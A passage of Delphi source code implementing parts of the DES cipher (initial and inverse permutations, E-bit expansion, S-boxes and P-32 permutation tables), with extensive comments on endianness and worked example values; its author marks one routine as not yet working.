R := Int64Rec( Datum).Hi;
T32 := ((L shr 4) xor R) and $0F0F0F0F;
R := R xor T32;
L := L xor (T32 shl 4);
T16 := LongRec(L).Lo;
LongRec(L).Lo := LongRec(R).Hi;
LongRec(R).Hi := T16;
T32 := ((R shr 2) xor L) and $33333333;
L := L xor T32;
R := R xor (T32 shl 2);
T8 := LongRec(R).Bytes[0];
LongRec(R).Bytes[0] := LongRec(L).Bytes[1];
LongRec(L).Bytes[1] := T8;
T8 := LongRec(R).Bytes[2];
LongRec(R).Bytes[2] := LongRec(L).Bytes[3];
LongRec(L).Bytes[3] := T8;
T32 := ((L shr 1) xor R) and $55555555;
R := R xor T32;
L := L xor (T32 shl 1)
{ http://orlingrabbe.com/des.htm gives an example in a binary
lowest-address=byte-left, MSB-within-byte-left format:
M = 0000 0001 0010 0011 0100 0101 0110 0111 1000 1001 1010 1011 1100 1101 1110 1111
IP = 1100 1100 0000 0000 1100 1100 1111 1111 1111 0000 1010 1010 1111 0000 1010 1010
In our native format drawing format, this is equivalent to:
M = $EFCDAB8967452301;
L = $FFCC00CC;
R = $AAF0AAF0
}
end;
procedure IP_InverseTransform( L, R: uint32; var Datum: uint64);
var
T32: uint32;
T16: word;
T8: byte;
{
Start with input 64 bits (MLB left)
58 50 42 34 26 18 10 2
60 52 44 36 28 20 12 4
62 54 46 38 30 22 14 6
64 56 48 40 32 24 16 8
57 49 41 33 25 17 9 1
59 51 43 35 27 19 11 3
61 53 45 37 29 21 13 5
63 55 47 39 31 23 15 7
Your may recognise this as the IP table on page 10 of the standard.
The above is drawn 1 byte per row, with the lowest address byte on the top
row and the highest address byte on the bottom row. In a little-endien
architecture, the first row is the Least Significant byte. In a big-endien
architecture, the first row is the Most Significant byte. In either case,
the first row is the lowest address byte.
Within a byte, the bits are drawn from MSB on the left to LSB on the right.
The numbers in the matrix are the DES designation for bits. The standard
designates the 'first' bit to be bit 1 (or B1). I interpret 'first' bit
to mean MSB.
We can split these 64 bits into two 32 two bit native (little-endien) integers.
L is first, followed by R.
So ....
L = 64 56 48 40 32 24 16 8 62 54 46 38 30 22 14 6 60 52 44 36 28 20 12 4 58 50 42 34 26 18 10 2
R = 63 55 47 39 31 23 15 7 61 53 45 37 29 21 13 5 59 51 43 35 27 19 11 3 57 49 41 33 25 17 9 1
The L, R is drawn from MSB on the left to LSB on the right.
NOTE:
The standard and most examples you can find are terribly endien-biggoted.
They implicitly assume a big-endien architecture and are often ambigious
in a little-endien context.
For example, refer to "http://orlingrabbe.com/des.htm", section "How DES Works in Detail".
In this example,
M = the mathematical, unencoded number $123456789ABCDEF;
but DES does not operate on numbers, it transforms blocks of 8 bytes.
The article really means
M = the 8 bytes (lowest address byte left-most): $01 $23 $45 $67 $89 $AB $CD $EF
On a little-endien machine, this is the encoded form of the number $EFCDAB8967351201.
or M: uint64 = $EFCDAB8967351201;
The first byte is $01, and the first bit of the first byte is 0.
In a binary lowest-address=byte-left, MSB-within-byte-left format, this datum is drawn:
M = 0000 0001 0010 0011 0100 0101 0110 0111 1000 1001 1010 1011 1100 1101 1110 1111
L = 0000 0001 0010 0011 0100 0101 0110 0111
R = 1000 1001 1010 1011 1100 1101 1110 1111
However, the same datum, drawn in a 'native' format (highest-address=byte-left, MSB-within-byte-left format) is drawn thus:
M = 1110 1111 1100 1101 1010 1011 1000 1001 0110 0111 0100 0101 0010 0011 0000 0001
L = 0110 0111 0100 0101 0010 0011 0000 0001
R = 1110 1111 1100 1101 1010 1011 1000 1001
The word 'native' means in respect of how, in a little-endien machine,
the drawing of an encoded number harmonises with the 'shl' operator shifting
LEFT, and the shr operator shifting RIGHT.
Reading these endien biggoted source documents can get really confusing
until you acknowledge that there is more than one way to draw the same datum.
Our goal is to reach ...
1 2 3 4 5 6 7 8
9 10 11 12 13 14 15 16
17 18 19 20 21 22 23 24
25 26 27 28 29 30 31 32
33 34 35 36 37 38 39 40
41 42 43 44 45 46 47 48
49 50 51 52 53 54 55 56
57 58 59 60 61 62 63 64
or equivalently ....
L = 25 26 27 28 29 30 31 32 17 18 19 20 21 22 23 24 9 10 11 12 13 14 15 16 1 2 3 4 5 6 7 8
R = 57 58 59 60 61 62 63 64 49 50 51 52 53 54 55 56 41 42 43 44 45 46 47 48 33 34 35 36 37 38 39 40
}
begin
// Test case data:
// L = $34324243
// R = $95D94C0A ==>
// Datum = $05B40A0F5413E885
// convert ciphertext LR to plaintext M
// L = 64 56 48 40 32 24 16 8 62 54 46 38 30 22 14 6 60 52 44 36 28 20 12 4 58 50 42 34 26 18 10 2
// R = 63 55 47 39 31 23 15 7 61 53 45 37 29 21 13 5 59 51 43 35 27 19 11 3 57 49 41 33 25 17 9 1
// Step 1. Do a 1 bit cross-over.
// L = a-->d b
// R = c d-->a
T32 := ((L shr 1) xor R) and $55555555;
R := R xor T32;
L := L xor (T32 shl 1);
// L = 55 56 39 40 23 24 7 8 53 54 37 38 21 22 5 6 51 52 35 36 19 20 3 4 49 50 33 34 17 18 1 2
// R = 63 64 47 48 31 32 15 16 61 62 45 46 29 30 13 14 59 60 43 44 27 28 11 12 57 58 41 42 25 26 9 10
// Step 2. Do a byte cross-over.
// L = a-->d b
// R = c d-->a
T8 := LongRec(R).Bytes[0];
LongRec(R).Bytes[0] := LongRec(L).Bytes[1];
LongRec(L).Bytes[1] := T8;
T8 := LongRec(R).Bytes[2];
LongRec(R).Bytes[2] := LongRec(L).Bytes[3];
LongRec(L).Bytes[3] := T8;
// L = 61 62 45 46 29 30 13 14 | 53 54 37 38 21 22 5 6 | 57 58 41 42 25 26 9 10 | 49 50 33 34 17 18 1 2
// R = 63 64 47 48 31 32 15 16 | 55 56 39 40 23 24 7 8 | 59 60 43 44 27 28 11 12 | 51 52 35 36 19 20 3 4
// Step 3. Do a 2 bit cross-over.
// L = a b-->c
// R = c-->b d
T32 := ((R shr 2) xor L) and $33333333;
L := L xor T32;
R := R xor (T32 shl 2);
// L = 61 62 63 64 29 30 31 32 | 53 54 55 56 21 22 23 24 | 57 58 59 60 25 26 27 28 | 49 50 51 52 17 18 19 20
// R = 45 46 47 48 13 14 15 16 | 37 38 39 40 5 6 7 8 | 41 42 43 44 9 10 11 12 | 33 34 35 36 1 2 3 4
// Step 4. Do a word cross-over.
// L = a b-->c
// R = c-->b d Change here
T16 := LongRec(L).Lo;
LongRec(L).Lo := LongRec(R).Hi;
LongRec(R).Hi := T16;
// L = 61 62 63 64 29 30 31 32 | 53 54 55 56 21 22 23 24 | 45 46 47 48 13 14 15 16 | 37 38 39 40 5 6 7 8
// R = 57 58 59 60 25 26 27 28 | 49 50 51 52 17 18 19 20 | 41 42 43 44 9 10 11 12 | 33 34 35 36 1 2 3 4
// Step 5. Do a nibble cross-over
// L = a-->d b
// R = c d-->a
T32 := ((L shr 4) xor R) and $0F0F0F0F;
R := R xor T32;
L := L xor (T32 shl 4);
// L = 25 26 27 28 29 30 31 32 | 17 18 19 20 21 22 23 24 | 9 10 11 12 13 14 15 16 | 1 2 3 4 5 6 7 8
// R = 57 58 59 60 61 62 63 64 | 49 50 51 52 53 54 55 56 | 41 42 43 44 45 46 47 48 | 33 34 35 36 37 38 39 40
Int64Rec( Datum).Lo := L;
Int64Rec( Datum).Hi := R
end;
function E_Bit_Selection( R: uint32): uint64;
var
i, j, k: integer;
begin
// E-bit selection table is ...
//32 1 2 3 4 5
// 4 5 6 7 8 9
// 8 9 10 11 12 13
//12 13 14 15 16 17
//16 17 18 19 20 21
//20 21 22 23 24 25
//24 25 26 27 28 29
//28 29 30 31 32 1
// where R is ...
// R = 25 26 27 28 29 30 31 32 | 17 18 19 20 21 22 23 24 | 9 10 11 12 13 14 15 16 | 1 2 3 4 5 6 7 8
// Example data from http://orlingrabbe.com/des.htm
// R0 = 1111 0000 1010 1010 1111 0000 1010 1010 (big-endien 32)
// R0 = $AAF0AAF0;
// E(R0) = 011110 100001 010101 010101 011110 100001 010101 010101 (big-endien 48)
// E(R0) = 010101 010101 100001 011110 010101 010101 100001 011110 (little-endien 48)
// E(R0) = 00010101 00010101 00100001 00011110 00010101 00010101 00100001 00011110 (little-endien 64 = 48 + 2MBS zeros per row)
// E(R0) = 00010101 00010101 00100001 00011110 00010101 00010101 00100001 00011110 (little-endien 64 = 48 + 2MBS zeros per row)
// E(R0) = $1515211E1515211E; (Delphi)
j := 1;
for i := 0 to 3 do
begin
k := i + 1;
if k = 4 then
k := 0;
Int64Rec( result).Bytes[j] := ((LongRec( R).Bytes[i] shl 1) and $3F) xor (LongRec( R).Bytes[k] shr 7);
Inc( j);
if j = 8 then
j := 0;
Int64Rec( result).Bytes[j] := ((LongRec( R).Bytes[i] shl 5) and $3F) xor (LongRec( R).Bytes[k] shr 3);
Inc( j)
end;
end;
const SBox: array[ {Subkey:}0..7, {B-value:}0..63] of 0.. 15 = (
{Subkey 0} (
14, 0, 4, 15, 13, 7, 1, 4, 2, 14, 15, 2, 11, 13, 8, 1,
3, 10, 10, 6, 6, 12, 12, 11, 5, 9, 9, 5, 0, 3, 7, 8,
4, 15, 1, 12, 14, 8, 8, 2, 13, 4, 6, 9, 2, 1, 11, 7,
15, 5, 12, 11, 9, 3, 7, 14, 3, 10, 10, 0, 5, 6, 0, 13),
{Subkey 1} (
15, 3, 1, 13, 8, 4, 14, 7, 6, 15, 11, 2, 3, 8, 4, 14,
9, 12, 7, 0, 2, 1, 13, 10, 12, 6, 0, 9, 5, 11, 10, 5,
0, 13, 14, 8, 7, 10, 11, 1, 10, 3, 4, 15, 13, 4, 1, 2,
5, 11, 8, 6, 12, 7, 6, 12, 9, 0, 3, 5, 2, 14, 15, 9),
{Subkey 2} (
10, 13, 0, 7, 9, 0, 14, 9, 6, 3, 3, 4, 15, 6, 5, 10,
1, 2, 13, 8, 12, 5, 7, 14, 11, 12, 4, 11, 2, 15, 8, 1,
13, 1, 6, 10, 4, 13, 9, 0, 8, 6, 15, 9, 3, 8, 0, 7,
11, 4, 1, 15, 2, 14, 12, 3, 5, 11, 10, 5, 14, 2, 7, 12),
{Subkey 3} (
7, 13, 13, 8, 14, 11, 3, 5, 0, 6, 6, 15, 9, 0, 10, 3,
1, 4, 2, 7, 8, 2, 5, 12, 11, 1, 12, 10, 4, 14, 15, 9,
10, 3, 6, 15, 9, 0, 0, 6, 12, 10, 11, 1, 7, 13, 13, 8,
15, 9, 1, 4, 3, 5, 14, 11, 5, 12, 2, 7, 8, 2, 4, 14),
{Subkey 4} (
2, 14, 12, 11, 4, 2, 1, 12, 7, 4, 10, 7, 11, 13, 6, 1,
8, 5, 5, 0, 3, 15, 15, 10, 13, 3, 0, 9, 14, 8, 9, 6,
4, 11, 2, 8, 1, 12, 11, 7, 10, 1, 13, 14, 7, 2, 8, 13,
15, 6, 9, 15, 12, 0, 5, 9, 6, 10, 3, 4, 0, 5, 14, 3),
{Subkey 5} (
12, 10, 1, 15, 10, 4, 15, 2, 9, 7, 2, 12, 6, 9, 8, 5,
0, 6, 13, 1, 3, 13, 4, 14, 14, 0, 7, 11, 5, 3, 11, 8,
9, 4, 14, 3, 15, 2, 5, 12, 2, 9, 8, 5, 12, 15, 3, 10,
7, 11, 0, 14, 4, 1, 10, 7, 1, 6, 13, 0, 11, 8, 6, 13),
{Subkey 6} (
4, 13, 11, 0, 2, 11, 14, 7, 15, 4, 0, 9, 8, 1, 13, 10,
3, 14, 12, 3, 9, 5, 7, 12, 5, 2, 10, 15, 6, 8, 1, 6,
1, 6, 4, 11, 11, 13, 13, 8, 12, 1, 3, 4, 7, 10, 14, 7,
10, 9, 15, 5, 6, 0, 8, 15, 0, 14, 5, 2, 9, 3, 2, 12),
{Subkey 7} (
13, 1, 2, 15, 8, 13, 4, 8, 6, 10, 15, 3, 11, 7, 1, 4,
10, 12, 9, 5, 3, 6, 14, 11, 5, 0, 0, 14, 12, 9, 7, 2,
7, 2, 11, 1, 4, 14, 1, 7, 9, 4, 12, 10, 14, 8, 2, 13,
0, 15, 6, 12, 10, 9, 13, 0, 15, 3, 3, 5, 5, 6, 8, 11));
BytePermute_8_6_7_2_5_3_4_1: array[ byte ] of byte = (
$00, $80, $20, $A0, $40, $C0, $60, $E0, $08, $88, $28, $A8, $48, $C8, $68, $E8,
$02, $82, $22, $A2, $42, $C2, $62, $E2, $0A, $8A, $2A, $AA, $4A, $CA, $6A, $EA,
$04, $84, $24, $A4, $44, $C4, $64, $E4, $0C, $8C, $2C, $AC, $4C, $CC, $6C, $EC,
$06, $86, $26, $A6, $46, $C6, $66, $E6, $0E, $8E, $2E, $AE, $4E, $CE, $6E, $EE,
$10, $90, $30, $B0, $50, $D0, $70, $F0, $18, $98, $38, $B8, $58, $D8, $78, $F8,
$12, $92, $32, $B2, $52, $D2, $72, $F2, $1A, $9A, $3A, $BA, $5A, $DA, $7A, $FA,
$14, $94, $34, $B4, $54, $D4, $74, $F4, $1C, $9C, $3C, $BC, $5C, $DC, $7C, $FC,
$16, $96, $36, $B6, $56, $D6, $76, $F6, $1E, $9E, $3E, $BE, $5E, $DE, $7E, $FE,
$01, $81, $21, $A1, $41, $C1, $61, $E1, $09, $89, $29, $A9, $49, $C9, $69, $E9,
$03, $83, $23, $A3, $43, $C3, $63, $E3, $0B, $8B, $2B, $AB, $4B, $CB, $6B, $EB,
$05, $85, $25, $A5, $45, $C5, $65, $E5, $0D, $8D, $2D, $AD, $4D, $CD, $6D, $ED,
$07, $87, $27, $A7, $47, $C7, $67, $E7, $0F, $8F, $2F, $AF, $4F, $CF, $6F, $EF,
$11, $91, $31, $B1, $51, $D1, $71, $F1, $19, $99, $39, $B9, $59, $D9, $79, $F9,
$13, $93, $33, $B3, $53, $D3, $73, $F3, $1B, $9B, $3B, $BB, $5B, $DB, $7B, $FB,
$15, $95, $35, $B5, $55, $D5, $75, $F5, $1D, $9D, $3D, $BD, $5D, $DD, $7D, $FD,
$17, $97, $37, $B7, $57, $D7, $77, $F7, $1F, $9F, $3F, $BF, $5F, $DF, $7F, $FF);
BytePermute_3_8_4_5_6_2_7_1: array[ byte ] of byte = (
$00, $40, $02, $42, $08, $48, $0A, $4A, $10, $50, $12, $52, $18, $58, $1A, $5A,
$20, $60, $22, $62, $28, $68, $2A, $6A, $30, $70, $32, $72, $38, $78, $3A, $7A,
$80, $C0, $82, $C2, $88, $C8, $8A, $CA, $90, $D0, $92, $D2, $98, $D8, $9A, $DA,
$A0, $E0, $A2, $E2, $A8, $E8, $AA, $EA, $B0, $F0, $B2, $F2, $B8, $F8, $BA, $FA,
$04, $44, $06, $46, $0C, $4C, $0E, $4E, $14, $54, $16, $56, $1C, $5C, $1E, $5E,
$24, $64, $26, $66, $2C, $6C, $2E, $6E, $34, $74, $36, $76, $3C, $7C, $3E, $7E,
$84, $C4, $86, $C6, $8C, $CC, $8E, $CE, $94, $D4, $96, $D6, $9C, $DC, $9E, $DE,
$A4, $E4, $A6, $E6, $AC, $EC, $AE, $EE, $B4, $F4, $B6, $F6, $BC, $FC, $BE, $FE,
$01, $41, $03, $43, $09, $49, $0B, $4B, $11, $51, $13, $53, $19, $59, $1B, $5B,
$21, $61, $23, $63, $29, $69, $2B, $6B, $31, $71, $33, $73, $39, $79, $3B, $7B,
$81, $C1, $83, $C3, $89, $C9, $8B, $CB, $91, $D1, $93, $D3, $99, $D9, $9B, $DB,
$A1, $E1, $A3, $E3, $A9, $E9, $AB, $EB, $B1, $F1, $B3, $F3, $B9, $F9, $BB, $FB,
$05, $45, $07, $47, $0D, $4D, $0F, $4F, $15, $55, $17, $57, $1D, $5D, $1F, $5F,
$25, $65, $27, $67, $2D, $6D, $2F, $6F, $35, $75, $37, $77, $3D, $7D, $3F, $7F,
$85, $C5, $87, $C7, $8D, $CD, $8F, $CF, $95, $D5, $97, $D7, $9D, $DD, $9F, $DF,
$A5, $E5, $A7, $E7, $AD, $ED, $AF, $EF, $B5, $F5, $B7, $F7, $BD, $FD, $BF, $FF);
BytePermute_1_2_7_4_5_6_3_8: array[ byte ] of byte = (
$00, $01, $20, $21, $04, $05, $24, $25, $08, $09, $28, $29, $0C, $0D, $2C, $2D,
$10, $11, $30, $31, $14, $15, $34, $35, $18, $19, $38, $39, $1C, $1D, $3C, $3D,
$02, $03, $22, $23, $06, $07, $26, $27, $0A, $0B, $2A, $2B, $0E, $0F, $2E, $2F,
$12, $13, $32, $33, $16, $17, $36, $37, $1A, $1B, $3A, $3B, $1E, $1F, $3E, $3F,
$40, $41, $60, $61, $44, $45, $64, $65, $48, $49, $68, $69, $4C, $4D, $6C, $6D,
$50, $51, $70, $71, $54, $55, $74, $75, $58, $59, $78, $79, $5C, $5D, $7C, $7D,
$42, $43, $62, $63, $46, $47, $66, $67, $4A, $4B, $6A, $6B, $4E, $4F, $6E, $6F,
$52, $53, $72, $73, $56, $57, $76, $77, $5A, $5B, $7A, $7B, $5E, $5F, $7E, $7F,
$80, $81, $A0, $A1, $84, $85, $A4, $A5, $88, $89, $A8, $A9, $8C, $8D, $AC, $AD,
$90, $91, $B0, $B1, $94, $95, $B4, $B5, $98, $99, $B8, $B9, $9C, $9D, $BC, $BD,
$82, $83, $A2, $A3, $86, $87, $A6, $A7, $8A, $8B, $AA, $AB, $8E, $8F, $AE, $AF,
$92, $93, $B2, $B3, $96, $97, $B6, $B7, $9A, $9B, $BA, $BB, $9E, $9F, $BE, $BF,
$C0, $C1, $E0, $E1, $C4, $C5, $E4, $E5, $C8, $C9, $E8, $E9, $CC, $CD, $EC, $ED,
$D0, $D1, $F0, $F1, $D4, $D5, $F4, $F5, $D8, $D9, $F8, $F9, $DC, $DD, $FC, $FD,
$C2, $C3, $E2, $E3, $C6, $C7, $E6, $E7, $CA, $CB, $EA, $EB, $CE, $CF, $EE, $EF,
$D2, $D3, $F2, $F3, $D6, $D7, $F6, $F7, $DA, $DB, $FA, $FB, $DE, $DF, $FE, $FF);
BytePermute_1_7_8_6_2_5_3_4: array[ byte ] of byte = (
$00, $20, $40, $60, $10, $30, $50, $70, $04, $24, $44, $64, $14, $34, $54, $74,
$01, $21, $41, $61, $11, $31, $51, $71, $05, $25, $45, $65, $15, $35, $55, $75,
$02, $22, $42, $62, $12, $32, $52, $72, $06, $26, $46, $66, $16, $36, $56, $76,
$03, $23, $43, $63, $13, $33, $53, $73, $07, $27, $47, $67, $17, $37, $57, $77,
$08, $28, $48, $68, $18, $38, $58, $78, $0C, $2C, $4C, $6C, $1C, $3C, $5C, $7C,
$09, $29, $49, $69, $19, $39, $59, $79, $0D, $2D, $4D, $6D, $1D, $3D, $5D, $7D,
$0A, $2A, $4A, $6A, $1A, $3A, $5A, $7A, $0E, $2E, $4E, $6E, $1E, $3E, $5E, $7E,
$0B, $2B, $4B, $6B, $1B, $3B, $5B, $7B, $0F, $2F, $4F, $6F, $1F, $3F, $5F, $7F,
$80, $A0, $C0, $E0, $90, $B0, $D0, $F0, $84, $A4, $C4, $E4, $94, $B4, $D4, $F4,
$81, $A1, $C1, $E1, $91, $B1, $D1, $F1, $85, $A5, $C5, $E5, $95, $B5, $D5, $F5,
$82, $A2, $C2, $E2, $92, $B2, $D2, $F2, $86, $A6, $C6, $E6, $96, $B6, $D6, $F6,
$83, $A3, $C3, $E3, $93, $B3, $D3, $F3, $87, $A7, $C7, $E7, $97, $B7, $D7, $F7,
$88, $A8, $C8, $E8, $98, $B8, $D8, $F8, $8C, $AC, $CC, $EC, $9C, $BC, $DC, $FC,
$89, $A9, $C9, $E9, $99, $B9, $D9, $F9, $8D, $AD, $CD, $ED, $9D, $BD, $DD, $FD,
$8A, $AA, $CA, $EA, $9A, $BA, $DA, $FA, $8E, $AE, $CE, $EE, $9E, $BE, $DE, $FE,
$8B, $AB, $CB, $EB, $9B, $BB, $DB, $FB, $8F, $AF, $CF, $EF, $9F, $BF, $DF, $FF);
BytePermute_8_7_5_6_4_3_1_2: array[ byte ] of byte = (
$00, $80, $40, $C0, $10, $90, $50, $D0, $20, $A0, $60, $E0, $30, $B0, $70, $F0,
$08, $88, $48, $C8, $18, $98, $58, $D8, $28, $A8, $68, $E8, $38, $B8, $78, $F8,
$04, $84, $44, $C4, $14, $94, $54, $D4, $24, $A4, $64, $E4, $34, $B4, $74, $F4,
$0C, $8C, $4C, $CC, $1C, $9C, $5C, $DC, $2C, $AC, $6C, $EC, $3C, $BC, $7C, $FC,
$01, $81, $41, $C1, $11, $91, $51, $D1, $21, $A1, $61, $E1, $31, $B1, $71, $F1,
$09, $89, $49, $C9, $19, $99, $59, $D9, $29, $A9, $69, $E9, $39, $B9, $79, $F9,
$05, $85, $45, $C5, $15, $95, $55, $D5, $25, $A5, $65, $E5, $35, $B5, $75, $F5,
$0D, $8D, $4D, $CD, $1D, $9D, $5D, $DD, $2D, $AD, $6D, $ED, $3D, $BD, $7D, $FD,
$02, $82, $42, $C2, $12, $92, $52, $D2, $22, $A2, $62, $E2, $32, $B2, $72, $F2,
$0A, $8A, $4A, $CA, $1A, $9A, $5A, $DA, $2A, $AA, $6A, $EA, $3A, $BA, $7A, $FA,
$06, $86, $46, $C6, $16, $96, $56, $D6, $26, $A6, $66, $E6, $36, $B6, $76, $F6,
$0E, $8E, $4E, $CE, $1E, $9E, $5E, $DE, $2E, $AE, $6E, $EE, $3E, $BE, $7E, $FE,
$03, $83, $43, $C3, $13, $93, $53, $D3, $23, $A3, $63, $E3, $33, $B3, $73, $F3,
$0B, $8B, $4B, $CB, $1B, $9B, $5B, $DB, $2B, $AB, $6B, $EB, $3B, $BB, $7B, $FB,
$07, $87, $47, $C7, $17, $97, $57, $D7, $27, $A7, $67, $E7, $37, $B7, $77, $F7,
$0F, $8F, $4F, $CF, $1F, $9F, $5F, $DF, $2F, $AF, $6F, $EF, $3F, $BF, $7F, $FF);
function DES_Permute(
SubKeyRound: integer; R: uint32; const Key: TExpandedKey): uint32;
// NOT WORKING YET !!!
var
i, j: integer;
T48, E: uint64;
b: ^byte;
b0, b1, b2, b3, t8: byte;
b1b0, b3b2: word;
t16: word;
begin
// SubKeyRound = 0;
// R= $AAF0AAF0;
// Key = as per http://orlingrabbe.com/des.htm example.
// result should be = 0010 0011 0100 1010 1010 1001 1011 1011 (big-endien)
E := E_Bit_Selection( R);
T48 := E xor Key[ SubKeyRound];
// R0 = 1111 0000 1010 1010 1111 0000 1010 1010 (big-endien) = $AAF0AAF0;
// E(R0) = 011110 100001 010101 010101 011110 100001 010101 010101 (big-endien)
// = $1515211E1515211E;
// K1 = Key[0] = 000110 110000 001011 101111 111111 000111 000001 110010 (big-endien)
// = $3201073F2F0B3006;
// f = K1+E(R0) = 011000 010001 011110 111010 100001 100110 010100 100111 (big-endien)
// = $271426213A1E1118;
b := @T48;
for j := 0 to 7 do
begin
// b = @Int64Rec( T48).Bytes[ j];
b^ := SBox[ j, b^];
Inc( b, 1)
end;
// S1(B1)S2(B2)S3(B3)S4(B4)S5(B5)S6(B6)S7(B7)S8(B8)
// = 0101 1100 1000 0010 1011 0101 1001 0111 (big-endien compact)
// = $0709050B02080C05;
j := 0;
for i := 0 to 3 do
begin
LongRec( result).Bytes[i] := (Int64Rec( T48).Bytes[j ] shl 4) xor
Int64Rec( T48).Bytes[j+1];
Inc( j, 2)
end;
// = 0101 1100 1000 0010 1011 0101 1001 0111 (big-endien 32)
// = $97B5825C;
// In the following fragment, we do the P-32 transform. This is ...
// P-32 transform
// 16 7 20 21
// 29 12 28 17
// 1 15 23 26
// 5 18 31 10
// 2 8 24 14
// 32 27 3 9
// 19 13 30 6
// 22 11 4 25
// which should transform 0101 1100 1000 0010 1011 0101 1001 0111 (big-endien 32) = $97B5825C
// to 0010 0011 0100 1010 1010 1001 1011 1011 (big-endien 32) = $BBA94A23
// Equivalently in bytes ...
// 16 7 20 21 29 12 28 17
// 1 15 23 26 5 18 31 10
// 2 8 24 14 32 27 3 9
// 19 13 30 6 22 11 4 25
// Start with ..
b0 := LongRec( result).Bytes[0]; // 1 2 3 4 5 6 7 8
b1 := LongRec( result).Bytes[1]; // 9 10 11 12 13 14 15 16
b2 := LongRec( result).Bytes[2]; // 17 18 19 20 21 22 23 24
b3 := LongRec( result).Bytes[3]; // 25 26 27 28 29 30 31 32
// Case Study numbers.
// b0 = 92 (decimal) = $5C = [0 1 0 1 | 1 1 0 0] (binary; MSB..LSB)
// b1 = 130 (decimal) = $82 = [1 0 0 0 | 0 0 1 0]
// b2 = 181 (decimal) = $B5 = [1 0 1 1 | 0 1 0 1]
// b3 = 151 (decimal) = $97 = [1 0 0 1 | 0 1 1 1]
// [25 26 27 28 29 30 31 32] --> [32 30 31 26 29 27 28 25]
b3 := BytePermute_8_6_7_2_5_3_4_1[ b3];
// Case Study: b3 = [1 1 1 0 0 0 1 1] = $E3
// [17 18 19 20 21 22 23 24] --> [19 24 20 21 22 18 23 17]
b2 := BytePermute_3_8_4_5_6_2_7_1[ b2];
// Case Study: b2 = [1 1 1 0 1 0 0 1] = $E9
// b2 = 19 24 20 21 22 18 23 17
// b3 = 32 30 31 26 29 27 28 25
// Swap these bits, between b2 and b3:
// swaps: ** ** ** **
t8 := (b2 xor b3) and $8E;
b2 := b2 xor t8;
b3 := b3 xor t8;
// b2 = 32 24 20 21 29 27 28 17
// b3 = 19 30 31 26 22 18 23 25
// Case Study: b2 = [1 1 1 0 0 0 1 1] = $E3
// Case Study: b3 = [1 1 1 0 1 0 0 1] = $E9
// Swap these bits on b3:
// vv xx
// 19 30 31 26 22 18 23 25
// [19 30 31 26 22 18 23 25] --> [19 30 31 26 22 18 23 25]
b3 := BytePermute_1_2_7_4_5_6_3_8[ b3];
// Or equivalently, we could have put:
// t8 := (b3 xor (b3 shr 4)) and $02;
// b3 := b3 xor t8 xor (t8 shl 4);
// to get ...
// 19 30 23 26 22 18 31 25
// Case Study: b3 = [1 1 0 0 1 0 1 1] = $CB
// Back to the first two bytes.
// b0 = 1 2 3 4 5 6 7 8
// b1 = 9 10 11 12 13 14 15 16
// [1 2 3 4 5 6 7 8] --> [1 7 8 6 2 5 3 4]
b0 := BytePermute_1_7_8_6_2_5_3_4[ b0];
// Case Study: b0 = [0 0 0 1 1 1 0 1] = $1D
// [9 10 11 12 13 14 15 16] --> [16 15 13 14 12 11 9 10]
b1 := BytePermute_8_7_5_6_4_3_1_2[ b1];
// Case Study: b1 = [0 1 0 0 0 0 1 0] = $42
// b0 = 1 7 8 6 2 5 3 4
// b1 = 16 15 13 14 12 11 9 10
//Now swap these bits ...
// b0 = 1 7 8 6 2 5 3 4
// ** **
// b1 = 16 15 13 14 12 11 9 10
t8 := (b0 xor b1) and $90;
b0 := b0 xor t8;
b1 := b1 xor t8;
//to get this
// b0 = 16 7 8 14 2 5 3 4
// b1 = 1 15 13 6 12 11 9 10
// Case Study: b0 = [0 0 0 0 1 1 0 1] = $0D
// Case Study: b1 = [0 1 0 1 0 0 1 0] = $52
// Now switch these bits ...
// b0 = 16 7 8 14 2 5 3 4
// ^^ ^^
// vv vv
// b1 = 1 15 13 6 12 11 9 10
t8 := (b0 xor (b1 shr 1)) and $05;
b0 := b0 xor t8;
b1 := b1 xor (t8 shl 1);
//to get this ...
// b0 = 16 7 8 14 2 12 3 9
// b1 = 1 15 13 6 5 11 4 10
// Case Study: b0 = [0 0 0 0 1 0 0 1] = $09
// Case Study: b1 = [0 1 0 1 1 0 1 0] = $5A
// Now swap these bits ...
// b1|b0= 1 15 13 6 5 11 4 10 16 7 8 14 2 12 3 9 (little-endien)
// ** ** ** ** ** ** ** ** **
// b3|b2=19 30 23 26 22 18 31 25 32 24 20 21 29 27 28 17
WordRec( b1b0).Lo := b0;
WordRec( b1b0).Hi := b1;
WordRec( b3b2).Lo := b2;
WordRec( b3b2).Hi := b3;
// Case Study: b1b0 = $5A09
// Case Study: b3b2 = $CBE3
t16 := (b1b0 xor b3b2) and $363B;
b1b0 := b1b0 xor t16;
b3b2 := b3b2 xor t16;
//to get this ...
// b1|b0= 1 15 23 26 5 18 31 10 16 7 20 21 29 12 28 17
// b3|b2=19 30 13 6 22 11 4 25 32 24 8 14 2 27 3 9
// Case Study: b1b0 = [0 1 0 0 | 1 0 1 0 | 0 0 1 0 | 0 0 1 1] = $4A23
// Case Study: b3b2 = [1 1 0 1 | 1 0 1 1 | 1 1 0 0 | 1 0 0 1] = $DBC9
// Now switch these bits ...
// vv xx
// b3|b2=19 30 13 6 22 11 4 25 32 24 8 14 2 27 3 9
t16 := (b3b2 xor (b3b2 shr 4)) and $0008;
b3b2 := b3b2 xor t16 xor (t16 shl 4);
//to get this ...
// b3|b2=19 30 13 6 22 11 4 25 2 24 8 14 32 27 3 9
// Case Study: b3b2 = [1 1 0 1 | 1 0 1 1 | 1 1 0 0 | 1 0 0 1] = $DBC9
// Now switch these bits ...
// vv xx vv xx
// b3|b2=19 30 13 6 22 11 4 25 2 24 8 14 32 27 3 9
t16 := (b3b2 xor (b3b2 shr 1)) and $2020;
b3b2 := b3b2 xor t16 xor (t16 shl 1);
//to get this ...
// b3|b2=19 13 30 6 22 11 4 25 2 8 24 14 32 27 3 9
// Case Study numbers.
// 9 10 11 12 | 13 14 15 16 | 1 2 3 4 | 5 6 7 8 = [1 0 0 0 | 0 0 1 0 | 0 1 0 1 | 1 1 0 0]
// 25 26 27 28 | 29 30 31 32 |17 18 19 20 | 21 22 23 24 = [1 0 0 1 | 0 1 1 1 | 1 0 1 1 | 0 1 0 1]
// Case Study: b3b2 = [1 0 1 1 | 1 0 1 1 | 1 0 1 0 | 1 0 0 1] = $BBA9
// End result rendered as words..
// b1|b0= 1 15 23 26 5 18 31 10 16 7 20 21 29 12 28 17
// b3|b2=19 13 30 6 22 11 4 25 2 8 24 14 32 27 3 9
LongRec( result).Lo := b1b0;
LongRec( result).Hi := b3b2
// End result rendered as bytes..
// b0 = 16 7 20 21 29 12 28 17
